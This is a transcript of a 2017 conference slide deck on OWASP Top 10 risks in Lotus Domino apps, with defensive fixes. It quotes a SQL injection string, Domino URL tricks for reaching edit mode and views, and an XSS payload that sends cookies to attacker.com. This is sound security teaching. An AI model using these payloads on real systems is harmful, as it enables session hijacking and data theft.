This document summarizes key points from a presentation on application security best practices. It discusses the top 10 security risks according to OWASP, relating each risk to potential vulnerabilities in Domino applications. For injection attacks, it notes risks from SQL injection and URL hacking. For authentication, it warns about weak password storage and session fixation. It provides tips for preventing cross-site scripting, sensitive data exposure, and cross-site request forgery. Overall, the presentation stresses the importance of input validation, access control, secure configuration, and keeping software up to date.
8. MWLUG 2017
Moving Collaboration Forward
Major Breaches
• Target – 70MM customer accounts
– Stole logins from the HVAC subcontractor
• Via phishing email, then malware got installed
– Once in, pivoted to registers, installed malware
• Captured credit card information, then uploaded to hackers
– Lesson learned, segment networks, encrypt sensitive
data
Did the Firewall help?
https://www.sans.org/reading-
room/whitepapers/casestudies/case-study-critical-controls-
prevented-target-breach-35412
HG
9. MWLUG 2017
Moving Collaboration Forward
OPM Breach
• Office of Personnel Management (US)
– Personal data on EVERY Federal employee
• Plus more...
• Phishing attack – got login data from a
contractor – put malware on admin server
• Lack of encryption on sensitive databases
https://www.wired.com/2016/10/inside-cyberattack-shocked-
us-government/
HG
10. MWLUG 2017
Moving Collaboration Forward
Who/What is OWASP
• “Open Web Application Security Project (OWASP) is a 501(c)(3)
worldwide not-for-profit charitable organization focused on
improving the security of software”
• Publishes a list of the 10 Most Critical Web Application Security
Risks – Widely Respected
– For each Risk it provides:
• A description
• Example vulnerabilities
• Example attacks
• Guidance on how to avoid
• References to OWASP and other related resource
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
HG
11. MWLUG 2017
Moving Collaboration Forward
Top 10 for 2017 (Release Candidate)
• A1-Injection
• A2-Broken Authentication and Session Management
• A3-Cross-Site Scripting (XSS)
• A4-Broken Access Control
• A5-Security Misconfiguration
• A6-Sensitive Data Exposure
• A7-Insufficient Attack Protection
• A8-Cross-Site Request Forgery (CSRF)
• A9-Using Components with Known Vulnerabilities
• A10-Underprotected APIs
HG https://www.owasp.org/index.php/Top_10_2017-Top_10
13. MWLUG 2017
Moving Collaboration Forward
A1 - Injection
The best way to find out if an application is vulnerable to injection is to verify
that all use of interpreters clearly separates untrusted data from the
command or query..
Typically SQL injection, got any sql code in your apps (accessing relational
data)? like:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
the attacker modifies the ‘id’ parameter value in her browser to send: ' or
'1'='1. For example:
http://example.com/app/accountView?id=‘ or '1'='1
This changes the meaning of both queries to return all the records from the
accounts table. More dangerous attacks could modify data or even invoke
stored procedures
HG
14. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerabilities – A1
• Got SQL code?
– Use SQL parameters
“SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'"
"SELECT * FROM accounts WHERE custID= ?”
– Scrub input
– use prepared statements
HG
15. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerabilities – A1
• Hack Domino urls
– Switch from openDocument to editDocument
http://www.tlcc.com/mwlug/mwlug2017.nsf/topicThread.xsp?documentId=557D7B9
B86441DFF85258154004A827A&action=openDocument
• Pivot to read all documents – open default view
http://www.tlcc.com/mwlug/mwlug2017.nsf/$defaultview
• Use zero as the view and open any document by
id
http://www.tlcc.com/mwlug/mwlug2017.nsf/0/
557d7b9b86441dff85258154004a827a?EditDocument
Fix - use proper reader/author names
Block view access with $$ViewTemplateDefault
HG
16. MWLUG 2017
Moving Collaboration Forward
A2-Broken Authentication and Session
Management - What is it?
• User authentication credentials aren’t properly protected
when stored using hashing or encryption.
• Credentials can be guessed or overwritten through weak
account management functions
• Session IDs are exposed in the URL
• Session IDs are vulnerable to session fixation attacks.
• Session IDs don’t timeout, or user sessions or
authentication tokens aren’t properly invalidated during
logout.
• Session IDs aren’t rotated after successful login.
• Passwords, session IDs, and other credentials are sent over
unencrypted connections.
AP
17. MWLUG 2017
Moving Collaboration Forward
A2-Protecting Stored Credentials
• Domino is fairly good at this if you let it
– Use Minimum Password Requirements
– Protect your Domino Directory
– Don’t store a password file “just in case”
– Use the “Fewer Name Variants” option
• Beware of SSO Solutions – Including SAML
– You may be turning over all authentication
controls to some other system!
AP
18. MWLUG 2017
Moving Collaboration Forward
A2 – Weak Management Practices
• Beware of password recovery processes
– How do you verify the person requesting the
password reset is really the person who should
have it? This can also be used to deny service.
– Any web site that can send you your old password
when you request it should not be trusted
AP
19. MWLUG 2017
Moving Collaboration Forward
A2 – Session IDs in the URL
• While Domino doesn’t generally do this, some
administrators do this to avoid creating
Domino users, or to give specific user content
within applications based on URLs
– E.G. Urls that contain specific invoice numbers or
trouble ticket ids to send users to specific
documents
AP
20. MWLUG 2017
Moving Collaboration Forward
A2 – Session “Fixation” Attacks
• Can your stored authentication token be captured
an re-used in Domino?
– Spoiler Alert: Yes, it can – and quite easily
• In Session based authentication the session token
is stored in a cookie.
• Anyone who can create web pages on your server
can capture this using a bit of javascript.
– Other servers – including non-Domino servers within
your domain may be able to capture this cookie as
well
AP
21. MWLUG 2017
Moving Collaboration Forward
A2 – Preventing Domino “Fixation”
attacks on your Domino Servers
• Code review applications
• Follow XSS prevention best practices
• Change the default cookie domain path in
your session ltpa token documents
AP
22. MWLUG 2017
Moving Collaboration Forward
A2 – Passwords, session IDs, on
unencrypted connections
• There should no longer be any reason to allow
unencrypted http connections at all. Sorry.
It’s 2017. Stop doing this.
AP
23. MWLUG 2017
Moving Collaboration Forward
A3 - Cross Site Scripting (XSS)
You are vulnerable to Server XSS if your server-side code uses user-supplied
input as part of the HTML output, and you don’t use context-sensitive
escaping to ensure it cannot run. If a web page uses JavaScript to dynamically
add attacker-controllable data to a page, you may have Client XSS. Ideally, you
would avoid sending attacker-controllable data to unsafe JavaScript APIs, but
escaping (and to a lesser extent) input validation can be used to make this
safe.
Example Attack Scenario
The application uses untrusted data in the construction of the following HTML
snippet without validation or escaping: (String) page += "<input
name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in his browser to:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
This attack causes the victim’s session ID to be sent to the attacker’s website,
allowing the attacker to hijack the user’s current session.
HG
24. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerability – A3
• YES, any web application is!!!
• Any text input, especially rich text (converts to
link)
• Prevention
– Always sanitize any input
• Domino web – look for html tags, strip out
– Have to roll your own with LotusScript
– Note: CSJS is not an option!
• XPages have HTML Filters
HG
25. MWLUG 2017
Moving Collaboration Forward
XPages HTML Filters
• XPages has built-in filtering
• Have to turn on
– HTMLFilter – for output
– HTMLFilterIn – filters on saving
• Use acf as the option!
– Identity does nothing, empty kills everything
– Turn on for all rich text (server, app, or XPage)
xsp.richtext.default.htmlfilter=acf
HG
More Information!
26. MWLUG 2017
Moving Collaboration Forward
A4-Broken Access Control
• Not just ACL Settings – but includes them
– Maximum Internet Name & Password Access
– Anonymous & Default “No Access” on all database
you don’t expect web users to access
– Obscurity is not Security – (See App Dev Practices)
AP
27. MWLUG 2017
Moving Collaboration Forward
A5-Security Misconfiguration
• Don’t expose your operating system to the
internet.
• Turn off all services you don’t need
• Keep your Domino version fully up to date
– Tools like “Metasploit” know all about Domino
– Out of date servers can be hacked to a remote
command line in 30 seconds with menu driven
hacking tools
AP
28. MWLUG 2017
Moving Collaboration Forward
A5 – Use Good HTTP Password
Management practices
• Assign HTTP Passwords even if you don’t use
them. This field will get filled in with garbage
if you do not.
– These are also used to attack your SMTP mail
handler
AP
29. MWLUG 2017
Moving Collaboration Forward
A5 – Don’t Help the Hackers
• By default your server tells the world what
software you’re running.
It’s like you WANT to get hacked
AP
30. MWLUG 2017
Moving Collaboration Forward
A5 – Don’t Help the Hackers!
• HTTPDisableServerHeader=1
• Then Get Fancy! Add your own SERVER header
AP
31. MWLUG 2017
Moving Collaboration Forward
A5 - Set up SSL the right way
• Use TLS
• Use the right SSL settings
• Use a score check service to validate
AP
www.ssllabs.com/ssltest/index.html
32. MWLUG 2017
Moving Collaboration Forward
A5 – Domino Web Server Settings
May need to modify ciphers available
Disable_SSLV3=1
SSL_USE_CLIENT_CIPHER_ORDER=1
33. MWLUG 2017
Moving Collaboration Forward
A6- Sensitive Data Exposure
Am I vulnerable to Data Exposure? The first thing you have to
determine is which data is sensitive enough to require extra
protection. For example, passwords, credit card numbers, health
records, and personal information should be protected. For all such
data:
1. Is any of this data stored in clear text long term, including backups
of this data?
2. Is any of this data transmitted in clear text, internally or
externally? Internet traffic is especially dangerous.
3. Are any old / weak cryptographic algorithms used?
4. Are weak crypto keys generated, or is proper key management or
rotation missing?
5. Are any browser security directives or headers missing when
sensitive data is provided by / sent to the browser?
HG
34. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerability – A6
Know your data, what is sensitive - RISK ANALYSIS!
• HTTPS should be turned on/forced for anything that may be
sensitive - protect data in motion
• Store data in encrypted fields protect data when sitting
– Notes encryption (field level), now in XPages in FP8!
• Use TLS 1.2 only, older encryption is vulnerable
– Turn off SSLV3
• Passwords in names.nsf
– setting to hash in better encrypted ways
• PCI - If your company takes credit cards, you are subject to
PCI
• PII - personal information, many rules for EU, states, etc.
HG
35. MWLUG 2017
Moving Collaboration Forward
A7 - Insufficient Attack Protection
Am I Vulnerable to Attack?
Detecting, responding to, and blocking attacks makes
applications dramatically harder to exploit yet almost no
applications or APIs have such protection. Critical
vulnerabilities in both custom code and components are also
discovered all the time, yet organizations frequently take
weeks or even months to roll out new defenses.
It should be very obvious if attack detection and response
isn’t in place. Simply try manual attacks or run a scanner
against the application. The application or API should identify
the attacks, block any viable attacks, and provide details on
the attacker and characteristics of the attack. If you can’t
quickly roll out virtual and/or actual patches when a critical
vulnerability is discovered, you are left exposed to attack.AP
36. MWLUG 2017
Moving Collaboration Forward
A7-Insufficient Attack Protection
• Is anyone monitoring your HTTP and SMTP
logs to look for attacks?
• Does your company have an IDS (Intrusion
Detection System)?
• Fail2Ban – Poor Linux Admin’s IDS
AP
37. MWLUG 2017
Moving Collaboration Forward
A8 - Cross-Site Request Forgery (CSRF)
Am I Vulnerable to CSRF?
To check whether an application is vulnerable, see if any links and
forms lack an unpredictable CSRF token. Without such a token,
attackers can forge malicious requests. An alternate defense is to
require the user to prove they intended to submit the request, such as
through reauthentication.
Focus on the links and forms that invoke state-changing functions,
since those are the most important CSRF targets. Multistep
transactions are not inherently immune. Also be aware that Server-
Side Request Forgery (SSRF) is also possible by tricking apps and APIs
into generating arbitrary HTTP requests.
Note that session cookies, source IP addresses, and other information
automatically sent by the browser don’t defend against CSRF since
they are included in the forged requests.
HG
38. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerabilities – A8
• Prevent your content from being rendered in an
iframe or frameset that you did not generate.
• Domino web admin is vulnerable, turn off!
• Domino frameset
– DominoValidateFramesetSRC=1 - make sure the
content in the frameset comes from the same
database
https://www-
10.lotus.com/ldd/dominowiki.nsf/dx/DominoValidateFramesetSRC
• Set header - (note required for PCI compliance)
http://www-01.ibm.com/support/docview.wss?uid=swg21568598
HG
39. MWLUG 2017
Moving Collaboration Forward
A8 – X-Frame-Options Header
• Use the header “X-Frame-Options” to tell browsers not
to allow your page to be loaded in someone else’s
frame
– Frequently required by customer security audits
AP
40. MWLUG 2017
Moving Collaboration Forward
A9 - Using Components with Known
Vulnerabilities
• The challenge is to continuously monitor the components (both client-side
and server-side) you are using for new vulnerability reports. This
monitoring can be very difficult because vulnerability reports are not
standardized, making them hard to find and search for the details you
need (e.g., the exact component in a product family that has the
vulnerability). Worst of all, many vulnerabilities never get reported to
central clearinghouses like CVE and NVD.
• Determining if you are vulnerable requires searching these databases, as
well as keeping abreast of project mailing lists and announcements for
anything that might be a vulnerability. This process can be done manually,
or with automated tools. If a vulnerability in a component is discovered,
carefully evaluate whether you are actually vulnerable. Check to see if
your code uses the vulnerable part of the component and whether the
flaw could result in an impact you care about. Both checks can be difficult
to perform as vulnerability reports can be deliberately vague.
HG
41. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerabilities – A9
• What software is your application using? Does
that have vulnerabilities?
– JS libraries like jQuery, Select2
– Java libraries (pdf, JSON, credit card...)
• What software is IBM using? (Example Java
libraries, Apache struts, etc.)
– Example: Apache Struts vulnerability
– Be sure to keep the Domino JVM updated
– Interim fixes
– Latest Fix PackHG
42. MWLUG 2017
Moving Collaboration Forward
A10 – Under-protected APIs
Am I Vulnerable to Attack?
Testing your APIs for vulnerabilities should be similar to testing the rest of
your application for vulnerabilities. All the different types of injection,
authentication, access control, encryption, configuration, and other issues
can exist in APIs just as in a traditional application.
However, because APIs are designed for use by programs (not humans) they
frequently lack a UI and also use complex protocols and complex data
structures. These factors can make security testing difficult. The use of
widely-used formats can help, such as Swagger (OpenAPI), REST, JSON, and
XML. Some frameworks like GWT and some RPC implementations use custom
formats. Some applications and APIs create their own protocol and data
formats, like WebSockets. The breadth and complexity of APIs make it difficult
to automate effective security testing, possibly leading to a false sense of
security.
Ultimately, knowing if your APIs are secure means carefully choosing a
strategy to test all defenses that matter.
HG
43. MWLUG 2017
Moving Collaboration Forward
Domino Vulnerabilities – A10
• Know what is turned on in your applications
and server.
– Is Domino DAS turned on?
• REST access to a database
– XPages REST, agents that serve up REST data, etc.
• Do a Code review, understand what data these
might serve up and how much access is given.
HG
44. MWLUG 2017
Moving Collaboration Forward
Closing
• Security is the responsibility of EVERYONE
• Especially those of us in IT, even without a
security job
– Developers have to ALWAYS design for security
– Admins have to ALWAYS plan and monitor to build
resilient systems
– Management has to provide the resources and
focus